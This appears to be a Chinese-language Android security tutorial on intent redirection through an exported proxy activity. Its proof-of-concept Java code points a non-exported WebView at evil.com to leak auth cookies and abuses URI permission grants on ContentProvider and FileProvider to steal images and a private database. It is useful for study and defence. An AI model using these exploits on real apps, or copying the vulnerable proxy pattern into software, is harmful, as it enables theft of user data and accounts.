Skip to content
On this page

安卓App的核心是四大组件,而这四大组件之间的通信主要依赖于Intent. 四大组件有导出的,也有未导出的,导出的组件任意app都可以通过Intent来启动.而未导出的组件则只能App自己才能启动. 所以很多时候未导出组件都认为启动它的Intent是可信的. 但是如果我们可以绕开这个限制,就找到新的攻击点.

为什么未导出组件需要保护好

未导出的Activity篇

我们有一个未导出的Webview,只能打开我们信任的页面,并且它是未导出的.

victim的manifest

xml
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

同时app有一个ProxyActivity,用来启动其他Activity,并且是导出的.

ProxyActivity

ProxyActivity在后续例子中会一直使用.

java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

victim的AuthWebViewActivity

因为AuthWebViewActivity是未导出的,所以它天然信任其数据来源getIntent,其代码如下:

java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

poc

针对这种情况,我们就可以构造这样的攻击代码:

java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

达到AuthWebView访问evil.com的目的,进而泄露cookie,盗取用户敏感信息,甚至是窃取用户账号的控制权.

未导出的ContentProvider

ContentProvider可以认为是App的数据库,如果一个未导出的ContentProvider设置了``android:grantUriPermissions`为true,那么攻击者就可能借此获取到相关文件以及数据的读写权限.

与ContentProvider相关的一些关键Flag:

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION 永久访问这个ContentProvider的权限,没有设置的话只是一次性的.
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION 授予的权限不是某个固定的uri,而是一批uri,这些uri只要有共同的前缀即可.
  • Intent.FLAG_GRANT_READ_URI_PERMISSION 授予读权限
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION 授予写权限

下面我们来构造一个攻击样例:

victim的manifest:

xml
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
<activity android:name=".ProxyActivity" android:exported="true" />

其中ProxyActivity同上.

attacker的导出Activity:

LeakActivity.java

java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image

poc:

java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
        | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
        | Intent.FLAG_GRANT_READ_URI_PERMISSION
        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

未导出的FileProvider

FileProvider实际上是ContentProvider的一个子类,如同名字一样,其专注于文件的分享. 下面我们同样构造一个FileProvider的文件任意读写的例子:

victim的manifest

xml
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

注意到:

  1. 它是FileProvider
  2. 它的android:grantUriPermissions
  3. 分享路径信息在@xml/provider_paths,也就是res/xml/provider_paths.xml

res/xml/provider_paths.xml

xml
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path=""/>
    <files-path name="internal_files" path="."/>
    <cache-path name="cache" path=""/>
    <external-path name="external_files" path="images"/>
</paths>

这里顺便说一下,如无必要,尽量不要直接分享root,这是非常危险的,一旦被获取到权限,整个app的所有信息都会一览无余.

attacker的LeakActivity

attacker要能收到相应的Intent,才能获取到文件的读写权限. LeakActivity.java

java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); 

攻击poc

和ContentProvider是类似的,只不过这次针对的是FileProvider.

java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

参考文档: Android: Access to app protected components